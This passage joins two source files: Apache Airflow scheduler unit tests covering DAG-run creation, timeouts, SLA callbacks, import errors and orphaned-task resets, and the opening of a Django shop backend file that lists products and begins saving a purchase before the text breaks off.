queue=queue) queue.put.assert_not_called() def test_scheduler_do_not_schedule_too_early(self): dag = DAG( dag_id='test_scheduler_do_not_schedule_too_early', start_date=timezone.datetime(2200, 1, 1)) dag_task1 = DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() session.close() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNone(dr) queue = Mock() scheduler._process_task_instances(dag, queue=queue) queue.put.assert_not_called() def test_scheduler_do_not_run_finished(self): dag = DAG( dag_id='test_scheduler_do_not_run_finished', start_date=DEFAULT_DATE) dag_task1 = DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) tis = dr.get_task_instances(session=session) for ti in tis: ti.state = State.SUCCESS session.commit() session.close() queue = Mock() scheduler._process_task_instances(dag, queue=queue) queue.put.assert_not_called() def test_scheduler_add_new_task(self): """ Test if a task instance will be added if the dag is updated """ dag = DAG( dag_id='test_scheduler_add_new_task', start_date=DEFAULT_DATE) dag_task1 = DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() session.close() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) tis = dr.get_task_instances() self.assertEquals(len(tis), 1) dag_task2 = DummyOperator( task_id='dummy2', dag=dag, owner='airflow') queue = Mock() scheduler._process_task_instances(dag, queue=queue) tis = dr.get_task_instances() self.assertEquals(len(tis), 2) def test_scheduler_verify_max_active_runs(self): """ Test if a a dagrun will not be scheduled if max_dag_runs has been reached """ dag = DAG( dag_id='test_scheduler_verify_max_active_runs', start_date=DEFAULT_DATE) dag.max_active_runs = 1 dag_task1 = DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() session.close() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) dr = scheduler.create_dag_run(dag) self.assertIsNone(dr) def test_scheduler_fail_dagrun_timeout(self): """ Test if a a dagrun wil be set failed if timeout """ dag = DAG( dag_id='test_scheduler_fail_dagrun_timeout', start_date=DEFAULT_DATE) dag.dagrun_timeout = datetime.timedelta(seconds=60) dag_task1 = DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) dr.start_date = timezone.utcnow() - datetime.timedelta(days=1) session.merge(dr) session.commit() dr2 = scheduler.create_dag_run(dag) self.assertIsNotNone(dr2) dr.refresh_from_db(session=session) self.assertEquals(dr.state, State.FAILED) def test_scheduler_verify_max_active_runs_and_dagrun_timeout(self): """ Test if a a dagrun will not be scheduled if max_dag_runs has been reached and dagrun_timeout is not reached Test if a a dagrun will be scheduled if max_dag_runs has been reached but dagrun_timeout is also reached """ dag = DAG( dag_id='test_scheduler_verify_max_active_runs_and_dagrun_timeout', start_date=DEFAULT_DATE) dag.max_active_runs = 1 dag.dagrun_timeout = datetime.timedelta(seconds=60) dag_task1 = DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() session.close() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) # Should not be scheduled as DagRun has not timedout and max_active_runs is reached new_dr = scheduler.create_dag_run(dag) self.assertIsNone(new_dr) # Should be scheduled as dagrun_timeout has passed dr.start_date = timezone.utcnow() - datetime.timedelta(days=1) session.merge(dr) session.commit() new_dr = scheduler.create_dag_run(dag) self.assertIsNotNone(new_dr) def test_scheduler_max_active_runs_respected_after_clear(self): """ Test if _process_task_instances only schedules ti's up to max_active_runs (related to issue AIRFLOW-137) """ dag = DAG( dag_id='test_scheduler_max_active_runs_respected_after_clear', start_date=DEFAULT_DATE) dag.max_active_runs = 3 dag_task1 = DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() session.close() scheduler = SchedulerJob() dag.clear() # First create up to 3 dagruns in RUNNING state. scheduler.create_dag_run(dag) # Reduce max_active_runs to 1 dag.max_active_runs = 1 queue = Mock() # and schedule them in, so we can check how many # tasks are put on the queue (should be one, not 3) scheduler._process_task_instances(dag, queue=queue) queue.append.assert_called_with( (dag.dag_id, dag_task1.task_id, DEFAULT_DATE) ) @patch.object(TI, 'pool_full') def test_scheduler_verify_pool_full(self, mock_pool_full): """ Test task instances not queued when pool is full """ mock_pool_full.return_value = False dag = DAG( dag_id='test_scheduler_verify_pool_full', start_date=DEFAULT_DATE) DummyOperator( task_id='dummy', dag=dag, owner='airflow', pool='test_scheduler_verify_pool_full') session = settings.Session() pool = Pool(pool='test_scheduler_verify_pool_full', slots=1) session.add(pool) orm_dag = DagModel(dag_id=dag.dag_id) orm_dag.is_paused = False session.merge(orm_dag) session.commit() scheduler = SchedulerJob() dag.clear() # Create 2 dagruns, which will create 2 task instances. dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) self.assertEquals(dr.execution_date, DEFAULT_DATE) dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) queue = [] scheduler._process_task_instances(dag, queue=queue) self.assertEquals(len(queue), 2) dagbag = self._make_simple_dag_bag([dag]) # Recreated part of the scheduler here, to kick off tasks -> executor for ti_key in queue: task = dag.get_task(ti_key[1]) ti = TI(task, ti_key[2]) # Task starts out in the scheduled state. All tasks in the # scheduled state will be sent to the executor ti.state = State.SCHEDULED # Also save this task instance to the DB. session.merge(ti) session.commit() scheduler._execute_task_instances(dagbag, (State.SCHEDULED, State.UP_FOR_RETRY)) self.assertEquals(len(scheduler.executor.queued_tasks), 1) def test_scheduler_auto_align(self): """ Test if the schedule_interval will be auto aligned with the start_date such that if the start_date coincides with the schedule the first execution_date will be start_date, otherwise it will be start_date + interval. """ dag = DAG( dag_id='test_scheduler_auto_align_1', start_date=timezone.datetime(2016, 1, 1, 10, 10, 0), schedule_interval="4 5 * * *" ) dag_task1 = DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) self.assertEquals(dr.execution_date, timezone.datetime(2016, 1, 2, 5, 4)) dag = DAG( dag_id='test_scheduler_auto_align_2', start_date=timezone.datetime(2016, 1, 1, 10, 10, 0), schedule_interval="10 10 * * *" ) dag_task1 = DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) self.assertEquals(dr.execution_date, timezone.datetime(2016, 1, 1, 10, 10)) def test_scheduler_reschedule(self): """ Checks if tasks that are not taken up by the executor get rescheduled """ executor = TestExecutor() dagbag = DagBag(executor=executor) dagbag.dags.clear() dagbag.executor = executor dag = DAG( dag_id='test_scheduler_reschedule', start_date=DEFAULT_DATE) dag_task1 = DummyOperator( task_id='dummy', dag=dag, owner='airflow') dag.clear() dag.is_subdag = False session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) orm_dag.is_paused = False session.merge(orm_dag) session.commit() dagbag.bag_dag(dag=dag, root_dag=dag, parent_dag=dag) @mock.patch('airflow.models.DagBag', return_value=dagbag) @mock.patch('airflow.models.DagBag.collect_dags') def do_schedule(function, function2): # Use a empty file since the above mock will return the # expected DAGs. Also specify only a single file so that it doesn't # try to schedule the above DAG repeatedly. scheduler = SchedulerJob(num_runs=1, executor=executor, subdir=os.path.join(settings.DAGS_FOLDER, "no_dags.py")) scheduler.heartrate = 0 scheduler.run() do_schedule() self.assertEquals(1, len(executor.queued_tasks)) executor.queued_tasks.clear() do_schedule() self.assertEquals(2, len(executor.queued_tasks)) def test_scheduler_sla_miss_callback(self): """ Test that the scheduler does not call the sla_miss_callback when a notification has already been sent """ session = settings.Session() # Mock the callback function so we can verify that it was not called sla_callback = MagicMock() # Create dag with a start of 2 days ago, but an sla of 1 day ago so we'll already have an sla_miss on the books test_start_date = days_ago(2) dag = DAG(dag_id='test_sla_miss', sla_miss_callback=sla_callback, default_args={'start_date': test_start_date, 'sla': datetime.timedelta(days=1)}) task = DummyOperator(task_id='dummy', dag=dag, owner='airflow') # Create a TaskInstance for two days ago session.merge(models.TaskInstance(task=task, execution_date=test_start_date, state='success')) # Create an SlaMiss where notification was sent, but email was not session.merge(models.SlaMiss(task_id='dummy', dag_id='test_sla_miss', execution_date=test_start_date, email_sent=False, notification_sent=True)) # Now call manage_slas and see if the sla_miss callback gets called scheduler = SchedulerJob(dag_id='test_sla_miss', num_runs=1) scheduler.manage_slas(dag=dag, session=session) sla_callback.assert_not_called() def test_scheduler_sla_miss_callback_exception(self): """ Test that the scheduler gracefully logs an exception if there is a problem calling the sla_miss_callback """ session = settings.Session() sla_callback = MagicMock(side_effect=RuntimeError('Could not call function')) test_start_date = days_ago(2) dag = DAG(dag_id='test_sla_miss', sla_miss_callback=sla_callback, default_args={'start_date': test_start_date}) task = DummyOperator(task_id='dummy', dag=dag, owner='airflow', sla=datetime.timedelta(hours=1)) session.merge(models.TaskInstance(task=task, execution_date=test_start_date, state='Success')) # Create an SlaMiss where notification was sent, but email was not session.merge(models.SlaMiss(task_id='dummy', dag_id='test_sla_miss', execution_date=test_start_date)) # Now call manage_slas and see if the sla_miss callback gets called scheduler = SchedulerJob(dag_id='test_sla_miss') with mock.patch('airflow.jobs.SchedulerJob.log', new_callable=PropertyMock) as mock_log: scheduler.manage_slas(dag=dag, session=session) sla_callback.assert_called() mock_log().exception.assert_called_with( 'Could not call sla_miss_callback for DAG %s', 'test_sla_miss') @mock.patch("airflow.utils.email.send_email") def test_scheduler_sla_miss_email_exception(self, mock_send_email): """ Test that the scheduler gracefully logs an exception if there is a problem sending an email """ session = settings.Session() # Mock the callback function so we can verify that it was not called mock_send_email.side_effect = RuntimeError('Could not send an email') test_start_date = days_ago(2) dag = DAG(dag_id='test_sla_miss', default_args={'start_date': test_start_date, 'sla': datetime.timedelta(days=1)}) task = DummyOperator(task_id='dummy', dag=dag, owner='airflow', email='test@test.com', sla=datetime.timedelta(hours=1)) session.merge(models.TaskInstance(task=task, execution_date=test_start_date, state='Success')) # Create an SlaMiss where notification was sent, but email was not session.merge(models.SlaMiss(task_id='dummy', dag_id='test_sla_miss', execution_date=test_start_date)) scheduler = SchedulerJob(dag_id='test_sla_miss', num_runs=1) with mock.patch('airflow.jobs.SchedulerJob.log', new_callable=PropertyMock) as mock_log: scheduler.manage_slas(dag=dag, session=session) mock_log().exception.assert_called_with( 'Could not send SLA Miss email notification for DAG %s', 'test_sla_miss') def test_retry_still_in_executor(self): """ Checks if the scheduler does not put a task in limbo, when a task is retried but is still present in the executor. """ executor = TestExecutor() dagbag = DagBag(executor=executor) dagbag.dags.clear() dagbag.executor = executor dag = DAG( dag_id='test_retry_still_in_executor', start_date=DEFAULT_DATE, schedule_interval="@once") dag_task1 = BashOperator( task_id='test_retry_handling_op', bash_command='exit 1', retries=1, dag=dag, owner='airflow') dag.clear() dag.is_subdag = False session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) orm_dag.is_paused = False session.merge(orm_dag) session.commit() dagbag.bag_dag(dag=dag, root_dag=dag, parent_dag=dag) @mock.patch('airflow.models.DagBag', return_value=dagbag) @mock.patch('airflow.models.DagBag.collect_dags') def do_schedule(function, function2): # Use a empty file since the above mock will return the # expected DAGs. Also specify only a single file so that it doesn't # try to schedule the above DAG repeatedly. scheduler = SchedulerJob(num_runs=1, executor=executor, subdir=os.path.join(settings.DAGS_FOLDER, "no_dags.py")) scheduler.heartrate = 0 scheduler.run() do_schedule() self.assertEquals(1, len(executor.queued_tasks)) def run_with_error(task): try: task.run() except AirflowException: pass ti_tuple = six.next(six.itervalues(executor.queued_tasks)) (command, priority, queue, ti) = ti_tuple ti.task = dag_task1 self.assertEqual(ti.try_number, 1) # fail execution run_with_error(ti) self.assertEqual(ti.state, State.UP_FOR_RETRY) self.assertEqual(ti.try_number, 2) ti.refresh_from_db(lock_for_update=True, session=session) ti.state = State.SCHEDULED session.merge(ti) session.commit() # do not schedule do_schedule() self.assertTrue(executor.has_task(ti)) ti.refresh_from_db() self.assertEqual(ti.state, State.SCHEDULED) # now the executor has cleared and it should be allowed the re-queue executor.queued_tasks.clear() do_schedule() ti.refresh_from_db() self.assertEqual(ti.state, State.QUEUED) @unittest.skipUnless("INTEGRATION" in os.environ, "Can only run end to end") def test_retry_handling_job(self): """ Integration test of the scheduler not accidentally resetting the try_numbers for a task """ dag = self.dagbag.get_dag('test_retry_handling_job') dag_task1 = dag.get_task("test_retry_handling_op") dag.clear() scheduler = SchedulerJob(dag_id=dag.dag_id, num_runs=1) scheduler.heartrate = 0 scheduler.run() session = settings.Session() ti = session.query(TI).filter(TI.dag_id==dag.dag_id, TI.task_id==dag_task1.task_id).first() # make sure the counter has increased self.assertEqual(ti.try_number, 2) self.assertEqual(ti.state, State.UP_FOR_RETRY) def test_scheduler_run_duration(self): """ Verifies that the scheduler run duration limit is followed. """ dag_id = 'test_start_date_scheduling' dag = self.dagbag.get_dag(dag_id) dag.clear() self.assertTrue(dag.start_date > DEFAULT_DATE) expected_run_duration = 5 start_time = timezone.utcnow() scheduler = SchedulerJob(dag_id, run_duration=expected_run_duration) scheduler.run() end_time = timezone.utcnow() run_duration = (end_time - start_time).total_seconds() logging.info("Test ran in %.2fs, expected %.2fs", run_duration, expected_run_duration) self.assertLess(run_duration - expected_run_duration, 5.0) def test_dag_with_system_exit(self): """ Test to check that a DAG with a system.exit() doesn't break the scheduler. """ dag_id = 'exit_test_dag' dag_ids = [dag_id] dag_directory = os.path.join(settings.DAGS_FOLDER, "..", "dags_with_system_exit") dag_file = os.path.join(dag_directory, 'b_test_scheduler_dags.py') dagbag = DagBag(dag_folder=dag_file) for dag_id in dag_ids: dag = dagbag.get_dag(dag_id) dag.clear() scheduler = SchedulerJob(dag_ids=dag_ids, subdir=dag_directory, num_runs=1) scheduler.run() session = settings.Session() self.assertEqual( len(session.query(TI).filter(TI.dag_id == dag_id).all()), 1) def test_dag_get_active_runs(self): """ Test to check that a DAG returns its active runs """ now = timezone.utcnow() six_hours_ago_to_the_hour = (now - datetime.timedelta(hours=6)).replace(minute=0, second=0, microsecond=0) START_DATE = six_hours_ago_to_the_hour DAG_NAME1 = 'get_active_runs_test' default_args = { 'owner': 'airflow', 'depends_on_past': False, 'start_date': START_DATE } dag1 = DAG(DAG_NAME1, schedule_interval='* * * * *', max_active_runs=1, default_args=default_args ) run_this_1 = DummyOperator(task_id='run_this_1', dag=dag1) run_this_2 = DummyOperator(task_id='run_this_2', dag=dag1) run_this_2.set_upstream(run_this_1) run_this_3 = DummyOperator(task_id='run_this_3', dag=dag1) run_this_3.set_upstream(run_this_2) session = settings.Session() orm_dag = DagModel(dag_id=dag1.dag_id) session.merge(orm_dag) session.commit() session.close() scheduler = SchedulerJob() dag1.clear() dr = scheduler.create_dag_run(dag1) # We had better get a dag run self.assertIsNotNone(dr) execution_date = dr.execution_date running_dates = dag1.get_active_runs() try: running_date = running_dates[0] except: running_date = 'Except' self.assertEqual(execution_date, running_date, 'Running Date must match Execution Date') def test_dag_catchup_option(self): """ Test to check that a DAG with catchup = False only schedules beginning now, not back to the start date """ def setup_dag(dag_id, schedule_interval, start_date, catchup): default_args = { 'owner': 'airflow', 'depends_on_past': False, 'start_date': start_date } dag = DAG(dag_id, schedule_interval=schedule_interval, max_active_runs=1, catchup=catchup, default_args=default_args) t1 = DummyOperator(task_id='t1', dag=dag) t2 = DummyOperator(task_id='t2', dag=dag) t2.set_upstream(t1) t3 = DummyOperator(task_id='t3', dag=dag) t3.set_upstream(t2) session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() session.close() return dag now = timezone.utcnow() six_hours_ago_to_the_hour = (now - datetime.timedelta(hours=6)).replace( minute=0, second=0, microsecond=0) half_an_hour_ago = now - datetime.timedelta(minutes=30) two_hours_ago = now - datetime.timedelta(hours=2) scheduler = SchedulerJob() dag1 = setup_dag(dag_id='dag_with_catchup', schedule_interval='* * * * *', start_date=six_hours_ago_to_the_hour, catchup=True) default_catchup = configuration.conf.getboolean('scheduler', 'catchup_by_default') self.assertEqual(default_catchup, True) self.assertEqual(dag1.catchup, True) dag2 = setup_dag(dag_id='dag_without_catchup_ten_minute', schedule_interval='*/10 * * * *', start_date=six_hours_ago_to_the_hour, catchup=False) dr = scheduler.create_dag_run(dag2) # We had better get a dag run self.assertIsNotNone(dr) # The DR should be scheduled in the last half an hour, not 6 hours ago self.assertGreater(dr.execution_date, half_an_hour_ago) # The DR should be scheduled BEFORE now self.assertLess(dr.execution_date, timezone.utcnow()) dag3 = setup_dag(dag_id='dag_without_catchup_hourly', schedule_interval='@hourly', start_date=six_hours_ago_to_the_hour, catchup=False) dr = scheduler.create_dag_run(dag3) # We had better get a dag run self.assertIsNotNone(dr) # The DR should be scheduled in the last 2 hours, not 6 hours ago self.assertGreater(dr.execution_date, two_hours_ago) # The DR should be scheduled BEFORE now self.assertLess(dr.execution_date, timezone.utcnow()) dag4 = setup_dag(dag_id='dag_without_catchup_once', schedule_interval='@once', start_date=six_hours_ago_to_the_hour, catchup=False) dr = scheduler.create_dag_run(dag4) self.assertIsNotNone(dr) def test_add_unparseable_file_before_sched_start_creates_import_error(self): try: dags_folder = mkdtemp() unparseable_filename = os.path.join(dags_folder, TEMP_DAG_FILENAME) with open(unparseable_filename, 'w') as unparseable_file: unparseable_file.writelines(UNPARSEABLE_DAG_FILE_CONTENTS) self.run_single_scheduler_loop_with_no_dags(dags_folder) finally: shutil.rmtree(dags_folder) session = settings.Session() import_errors = session.query(models.ImportError).all() self.assertEqual(len(import_errors), 1) import_error = import_errors[0] self.assertEqual(import_error.filename, unparseable_filename) self.assertEqual(import_error.stacktrace, "invalid syntax ({}, line 1)".format(TEMP_DAG_FILENAME)) def test_add_unparseable_file_after_sched_start_creates_import_error(self): try: dags_folder = mkdtemp() unparseable_filename = os.path.join(dags_folder, TEMP_DAG_FILENAME) self.run_single_scheduler_loop_with_no_dags(dags_folder) with open(unparseable_filename, 'w') as unparseable_file: unparseable_file.writelines(UNPARSEABLE_DAG_FILE_CONTENTS) self.run_single_scheduler_loop_with_no_dags(dags_folder) finally: shutil.rmtree(dags_folder) session = settings.Session() import_errors = session.query(models.ImportError).all() self.assertEqual(len(import_errors), 1) import_error = import_errors[0] self.assertEqual(import_error.filename, unparseable_filename) self.assertEqual(import_error.stacktrace, "invalid syntax ({}, line 1)".format(TEMP_DAG_FILENAME)) def test_no_import_errors_with_parseable_dag(self): try: dags_folder = mkdtemp() parseable_filename = os.path.join(dags_folder, TEMP_DAG_FILENAME) with open(parseable_filename, 'w') as parseable_file: parseable_file.writelines(PARSEABLE_DAG_FILE_CONTENTS) self.run_single_scheduler_loop_with_no_dags(dags_folder) finally: shutil.rmtree(dags_folder) session = settings.Session() import_errors = session.query(models.ImportError).all() self.assertEqual(len(import_errors), 0) def test_new_import_error_replaces_old(self): try: dags_folder = mkdtemp() unparseable_filename = os.path.join(dags_folder, TEMP_DAG_FILENAME) # Generate original import error with open(unparseable_filename, 'w') as unparseable_file: unparseable_file.writelines(UNPARSEABLE_DAG_FILE_CONTENTS) self.run_single_scheduler_loop_with_no_dags(dags_folder) # Generate replacement import error (the error will be on the second line now) with open(unparseable_filename, 'w') as unparseable_file: unparseable_file.writelines( PARSEABLE_DAG_FILE_CONTENTS + os.linesep + UNPARSEABLE_DAG_FILE_CONTENTS) self.run_single_scheduler_loop_with_no_dags(dags_folder) finally: shutil.rmtree(dags_folder) session = settings.Session() import_errors = session.query(models.ImportError).all() self.assertEqual(len(import_errors), 1) import_error = import_errors[0] self.assertEqual(import_error.filename, unparseable_filename) self.assertEqual(import_error.stacktrace, "invalid syntax ({}, line 2)".format(TEMP_DAG_FILENAME)) def test_remove_error_clears_import_error(self): try: dags_folder = mkdtemp() filename_to_parse = os.path.join(dags_folder, TEMP_DAG_FILENAME) # Generate original import error with open(filename_to_parse, 'w') as file_to_parse: file_to_parse.writelines(UNPARSEABLE_DAG_FILE_CONTENTS) self.run_single_scheduler_loop_with_no_dags(dags_folder) # Remove the import error from the file with open(filename_to_parse, 'w') as file_to_parse: file_to_parse.writelines( PARSEABLE_DAG_FILE_CONTENTS) self.run_single_scheduler_loop_with_no_dags(dags_folder) finally: shutil.rmtree(dags_folder) session = settings.Session() import_errors = session.query(models.ImportError).all() self.assertEqual(len(import_errors), 0) def test_remove_file_clears_import_error(self): try: dags_folder = mkdtemp() filename_to_parse = os.path.join(dags_folder, TEMP_DAG_FILENAME) # Generate original import error with open(filename_to_parse, 'w') as file_to_parse: file_to_parse.writelines(UNPARSEABLE_DAG_FILE_CONTENTS) self.run_single_scheduler_loop_with_no_dags(dags_folder) finally: shutil.rmtree(dags_folder) # Rerun the scheduler once the dag file has been removed self.run_single_scheduler_loop_with_no_dags(dags_folder) session = settings.Session() import_errors = session.query(models.ImportError).all() self.assertEqual(len(import_errors), 0) def test_list_py_file_paths(self): """ [JIRA-1357] Test the 'list_py_file_paths' function used by the scheduler to list and load DAGs. """ detected_files = [] expected_files = [] for file_name in os.listdir(TEST_DAGS_FOLDER): if file_name.endswith('.py') or file_name.endswith('.zip'): if file_name not in ['no_dags.py']: expected_files.append( '{}/{}'.format(TEST_DAGS_FOLDER, file_name)) for file_path in list_py_file_paths(TEST_DAGS_FOLDER): detected_files.append(file_path) self.assertEqual(sorted(detected_files), sorted(expected_files)) def test_reset_orphaned_tasks_nothing(self): """Try with nothing. """ scheduler = SchedulerJob() session = settings.Session() self.assertEqual( 0, len(scheduler.reset_state_for_orphaned_tasks(session=session))) def test_reset_orphaned_tasks_external_triggered_dag(self): dag_id = 'test_reset_orphaned_tasks_external_triggered_dag' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, schedule_interval='@daily') task_id = dag_id + '_task' DummyOperator(task_id=task_id, dag=dag) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag, session=session) ti = dr1.get_task_instances(session=session)[0] dr1.state = State.RUNNING ti.state = State.SCHEDULED dr1.external_trigger = True session.merge(ti) session.merge(dr1) session.commit() reset_tis = scheduler.reset_state_for_orphaned_tasks(session=session) self.assertEquals(1, len(reset_tis)) def test_reset_orphaned_tasks_backfill_dag(self): dag_id = 'test_reset_orphaned_tasks_backfill_dag' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, schedule_interval='@daily') task_id = dag_id + '_task' DummyOperator(task_id=task_id, dag=dag) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag, session=session) ti = dr1.get_task_instances(session=session)[0] ti.state = State.SCHEDULED dr1.state = State.RUNNING dr1.run_id = BackfillJob.ID_PREFIX + '_sdfsfdfsd' session.merge(ti) session.merge(dr1) session.commit() self.assertTrue(dr1.is_backfill) self.assertEquals(0, len(scheduler.reset_state_for_orphaned_tasks(session=session))) def test_reset_orphaned_tasks_specified_dagrun(self): """Try to reset when we specify a dagrun and ensure nothing else is.""" dag_id = 'test_reset_orphaned_tasks_specified_dagrun' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, schedule_interval='@daily') task_id = dag_id + '_task' DummyOperator(task_id=task_id, dag=dag) scheduler = SchedulerJob() session = settings.Session() # make two dagruns, only reset for one dr1 = scheduler.create_dag_run(dag) dr2 = scheduler.create_dag_run(dag) dr1.state = State.SUCCESS dr2.state = State.RUNNING ti1 = dr1.get_task_instances(session=session)[0] ti2 = dr2.get_task_instances(session=session)[0] ti1.state = State.SCHEDULED ti2.state = State.SCHEDULED session.merge(ti1) session.merge(ti2) session.merge(dr1) session.merge(dr2) session.commit() reset_tis = scheduler.reset_state_for_orphaned_tasks(filter_by_dag_run=dr2, session=session) self.assertEquals(1, len(reset_tis)) ti1.refresh_from_db(session=session) ti2.refresh_from_db(session=session) self.assertEquals(State.SCHEDULED, ti1.state) self.assertEquals(State.NONE, ti2.state) def test_reset_orphaned_tasks_nonexistent_dagrun(self): """Make sure a task in an orphaned state is not reset if it has no dagrun. """ dag_id = 'test_reset_orphaned_tasks_nonexistent_dagrun' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, schedule_interval='@daily') task_id = dag_id + '_task' task = DummyOperator(task_id=task_id, dag=dag) scheduler = SchedulerJob() session = settings.Session() ti = models.TaskInstance(task=task, execution_date=DEFAULT_DATE) session.add(ti) session.commit() ti.refresh_from_db() ti.state = State.SCHEDULED session.merge(ti) session.commit() self.assertEquals(0, len(scheduler.reset_state_for_orphaned_tasks(session=session))) def test_reset_orphaned_tasks_no_orphans(self): dag_id = 'test_reset_orphaned_tasks_no_orphans' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, schedule_interval='@daily') task_id = dag_id + '_task' DummyOperator(task_id=task_id, dag=dag) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) dr1.state = State.RUNNING tis = dr1.get_task_instances(session=session) tis[0].state = State.RUNNING session.merge(dr1) session.merge(tis[0]) session.commit() self.assertEquals(0, len(scheduler.reset_state_for_orphaned_tasks(session=session))) tis[0].refresh_from_db() self.assertEquals(State.RUNNING, tis[0].state) def test_reset_orphaned_tasks_non_running_dagruns(self): """Ensure orphaned tasks with non-running dagruns are not reset.""" dag_id = 'test_reset_orphaned_tasks_non_running_dagruns' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, schedule_interval='@daily') task_id = dag_id + '_task' DummyOperator(task_id=task_id, dag=dag) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) dr1.state = State.SUCCESS tis = dr1.get_task_instances(session=session) self.assertEquals(1, len(tis)) tis[0].state = State.SCHEDULED session.merge(dr1) session.merge(tis[0]) session.commit() self.assertEquals(0, len(scheduler.reset_state_for_orphaned_tasks(session=session))) def test_reset_orphaned_tasks_with_orphans(self): """Create dagruns and esnure only ones with correct states are reset.""" prefix = 'scheduler_job_test_test_reset_orphaned_tasks' states = [State.QUEUED, State.SCHEDULED, State.NONE, State.RUNNING, State.SUCCESS] states_to_reset = [State.QUEUED, State.SCHEDULED, State.NONE] dag = DAG(dag_id=prefix, start_date=DEFAULT_DATE, schedule_interval="@daily") tasks = [] for i in range(len(states)): task_id = "{}_task_{}".format(prefix, i) task = DummyOperator(task_id=task_id, dag=dag) tasks.append(task) scheduler = SchedulerJob() session = settings.Session() # create dagruns dr1 = scheduler.create_dag_run(dag) dr2 = scheduler.create_dag_run(dag) dr1.state = State.RUNNING dr2.state = State.SUCCESS session.merge(dr1) session.merge(dr2) session.commit() # create taskinstances and set states dr1_tis = [] dr2_tis = [] for i, (task, state) in enumerate(zip(tasks, states)): ti1 = TI(task, dr1.execution_date) ti2 = TI(task, dr2.execution_date) ti1.refresh_from_db() ti2.refresh_from_db() ti1.state = state ti2.state = state dr1_tis.append(ti1) dr2_tis.append(ti2) session.merge(ti1) session.merge(ti2) session.commit() self.assertEqual(2, len(scheduler.reset_state_for_orphaned_tasks(session=session))) for ti in dr1_tis + dr2_tis: ti.refresh_from_db() # running dagrun should be reset for state, ti in zip(states, dr1_tis): if state in states_to_reset: self.assertIsNone(ti.state) else: self.assertEqual(state, ti.state) # otherwise not for state, ti in zip(states, dr2_tis): self.assertEqual(state, ti.state) for state, ti in zip(states, dr1_tis): ti.state = state session.commit() scheduler.reset_state_for_orphaned_tasks(filter_by_dag_run=dr1, session=session) # check same for dag_run version for state, ti in zip(states, dr2_tis): self.assertEqual(state, ti.state) session.close()
backEnd.py
from django.contrib.auth.models import User from maracay.models import Product, Profile, PurchaseConfirmation, Tools, purchaseHistory from django.db import transaction import json,random, string from threading import Thread from django.template.loader import render_to_string from django.core.mail import send_mail from django.conf import settings from datetime import datetime, timedelta, date, time import schedule, time, pytz, datetime class backStart(): def __init__(self, request): self._request = request self.user = 0 self.response_data = {'error':[], 'data':[],'data2':[]} self.code = 200 def get(self,params=None): self.response_data['cantTotal']= Product.objects.all() #self.response_data['first'] = self._request.GET.get('start',0) #self.response_data['last'] = self._request.GET.get('end',12) try: for a in Product.objects.all(): self.response_data['data'].append({ "category":a.category, "id":a.id, "name":a.name, "cant":a.cant, "description":a.description, "image":a.image, #"price":a.price, }) '''for b in Product.objects.filter()[int(self._request.GET.get('start',0)):int(self._request.GET.get('end',12))]: self.response_data['data2'].append({ "category":b.category, "id":b.id, "cant":b.cant, "name":b.name, "description":b.description, "image":b.image, #"price":b.price, })''' except Exception as e: self.code = 500 return self.response_data['error'].append(str(e)) def guardaCompra(self): def hilo2(): try: print (self._request.POST) ########################codigo de seguridad de compra################### def ran_gen(size, chars=string.ascii_uppercase + string.digits): return ''.join(random.choice(chars) for x in range(size)) tokenCode = ran_gen(30,"abcdefghijkLmnNopqrstuvwxyz0123456789./*-") ######################################################################## carro = json.loads(self._request.POST['carrito']) dataSave = {} productId = 0 carroEmail = {'compra':[]} for value in carro: for k,v in value.items(): if k == 'id': dataSave['product']=Product.objects.get(pk=int(v)) if k == 'cantidad': 